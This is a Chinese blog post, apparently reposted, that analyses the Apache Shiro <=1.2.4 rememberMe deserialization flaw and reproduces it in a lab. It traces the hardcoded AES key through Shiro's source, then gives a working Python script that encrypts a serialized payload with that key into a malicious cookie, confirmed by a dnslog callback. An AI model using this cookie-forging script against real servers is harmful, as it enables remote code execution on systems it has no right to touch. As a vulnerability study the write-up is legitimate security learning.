[Java反序列化]—Shiro反序列化(一)
环境配置:
IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客
漏洞原理:
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
影响版本:
Apache Shiro <= 1.2.4
漏洞原理:
shiro反序列化主要就是对cookie进行的一系列操作, 也就是 选了 rememberme。他会对你的cookie 进行 操作。
特征
- 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
- 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
- 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
- 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
shiro 默认使用了 CookieRememberMeManager
,其处理cookie的流程是:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
然而AES的密钥是硬编码的,导致攻击者可以构造任意数据造成反序列化RCE,payload:
恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
在整个漏洞中,比较重要的是AES的密钥。
加密分析:
Shiro <= 1.2.4 版本默认使用 CookieRememberMeManager。
而这个 CookieRememberMeManager 继承了 AbstractRememberMeManager 跟进看看。
此处有个 硬编码 DEFAULT_CIPHER_KEY_BYTES ,然后他又实现了 RememberMeManager接口,跟进去看看
实现了这些接口,看英文单词是 记住身份信息、忘记身份信息、登录成功、登录失败、已登录功能,既然这样,那么肯定会调用登录成功的这个接口,然后再去实现这个接口,所以我们在这里下个断点
这里我是勾选了这个 Remember me 的
而这,我们是可以进入if 的
这里的 subject 存储的是一些 登录信息 比如session 等
而PrincipalCollection 是个身份集合,我们先不管。
我们继续跟进这个
rememberIdentity(subject, token, info);
这里获取了身份信息,但是不知道是用来干嘛的
跟进一下这个 convertPrincipalsToBytes()
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) { byte[] bytes = serialize(principals); //序列化这个身份信息 if (getCipherService() != null) { bytes = encrypt(bytes); } return bytes; }
这里把身份信息传给convertPrincipalsToBytes() ,身份信息传参为principals ,然后将这个信息应该是序列化了。
大概就是跳了两层,到 DefaultSerialize类的 序列化方法,这里把身份信息转换为bytes,写入缓冲区,然后就进行了序列化,最后通过toByteArray() 方法 返回序列化后的Byte数组
然后回来这个地方:
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) { byte[] bytes = serialize(principals); if (getCipherService() != null) { bytes = encrypt(bytes); } return bytes; }
进行一个if判断,getCipherService()
方法不为空则进入条件里面里面。我们f7进去内部看看;
发现又是一个cipherService
,也就是获取密码服务,我们再继续F7跟进发现直接推出了。那我们就 Ctrl+左键
继续进去看。可以,发现是new了一个aes加密服务。
那我们点击debugger处,回到刚刚那个地方;我们就不用继续进入了,我们就思考一下,这边是要获取到加密服务,如果没获取到,则不进入。获取到的话,则进入该条件;
然后调用encrypt()
方法,这是个加密方法。我们f7跟进去看看什么情况。
这里把序列化后的bytes 传参给serialized 赋值给value ,然后if判断,getCipherService(),这个是存在的。然后我们进入条件判断股内部
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
这里调用cipherService.encrypt()
方法并且传入序列化数据,和getEncryptionCipherKey
方法。
我们通过getEncryptionCipherKey()
名字可以知道是获取key的一个方法。那我们f7进入看看
直接return了 ,看看这个encryptionCipherKey的初始定义
看看哪里赋值了
public void setEncryptionCipherKey(byte[] encryptionCipherKey) { this.encryptionCipherKey = encryptionCipherKey; }
在 setEncryptionCipherKey()进行了赋值,看看谁调用了setEncryptionCipherKey()
public void setCipherKey(byte[] cipherKey) { //Since this method should only be used in symmetric ciphers //(where the enc and dec keys are the same), set it on both: setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
这里调用了setEncryptionCipherKey(),继续跟谁调用了setCipherKey()
public AbstractRememberMeManager() { this.serializer = new DefaultSerializer(); this.cipherService = new AesCipherService(); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
发现是把前面看的硬编码传给了setCipherKey(),而public AbstractRememberMeManager()是构造函数。也就是说,前面的getEncryptionCipherKey(),就是固定值,硬编码
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
至此 也就是说, 这个勾了remember的功能,他会把我们的身份信息,序列化后和 那个固定的key进行加密,接下来我们需要分析一下解密的操作
解密流程
在 shiro 文件中找到 CookieRememberMeManager.java 对cookie中的字段进行管理,其中有个rememberSerializedIdentity()
,可以对remember认证信息进行序列化
其中这里有个 getCookie().readValue(request, response),这是读取cookie中的数据,跟上:
根据名字,可以知道是一个读取值的方法。
通过 getName()方法得到name =remeber me 然后把value = nuLL, 在通过getCookie获取到cookie,最后判断cookie 不为空 进入到内部随后 cookie.getValue. 并赋值为 value 其值为序列化的内容 ,然后return 回value 也就是序列化的值。
也就是返回到这一步,这里进行了一个判断,判断这个 base64的值是否是 deleteMe ,是的话就返回null,我们这里肯定不是了,我们的值是序列化内容,继续往下走,然后进行了一个base64解密赋值给了 decode
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
目前只进行了 base64解密。接下来还需要AES 解密,继续跟进,看看哪里调用了rememberSerializedIdentity(),
是这里调用了。 其中bytes 肯定不为空,所以进入第一个if,期间调用了convertBytesToPrincipals
把 序列化内容传进去了,跟进。
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
if钟进行了解密。最后回返回反序列化的内容,看看decrypt()
protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized;}
很好,他也是用了硬编码进行了解密,就是那个固定值,我就不跟了。直接跟进最后面的deserialize(byte)
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
最终就到了readObject
执行反序列化
public T deserialize(byte[] serialized) throws SerializationException { if (serialized == null) { String msg = "argument cannot be null."; throw new IllegalArgumentException(msg); } ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array."; throw new SerializationException(msg, e); }}
一下这个加解密 过程是我抄其他师傅的 原理不清楚,因为我没有编写脚本能力
漏洞复现
用脚本将序列化生成的文件1.txt
进行aes加密
import sysimport base64import uuidfrom random import Randomfrom Crypto.Cipher import AESdef get_file(filename): with open(filename,'rb') as f: data = f.read() return datadef aesEncode(data): BS = AES.block_size pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key),mode,iv) ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data))) return ciphertextdef aesDecode(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s:s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key),mode,iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext if __name__ == '__main__': data = get_file("1.txt") print(aesEncode(data))
生成后传入cookie 中,dnslog成功回显
来源地址:https://blog.csdn.net/snowlyzz/article/details/128133957
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341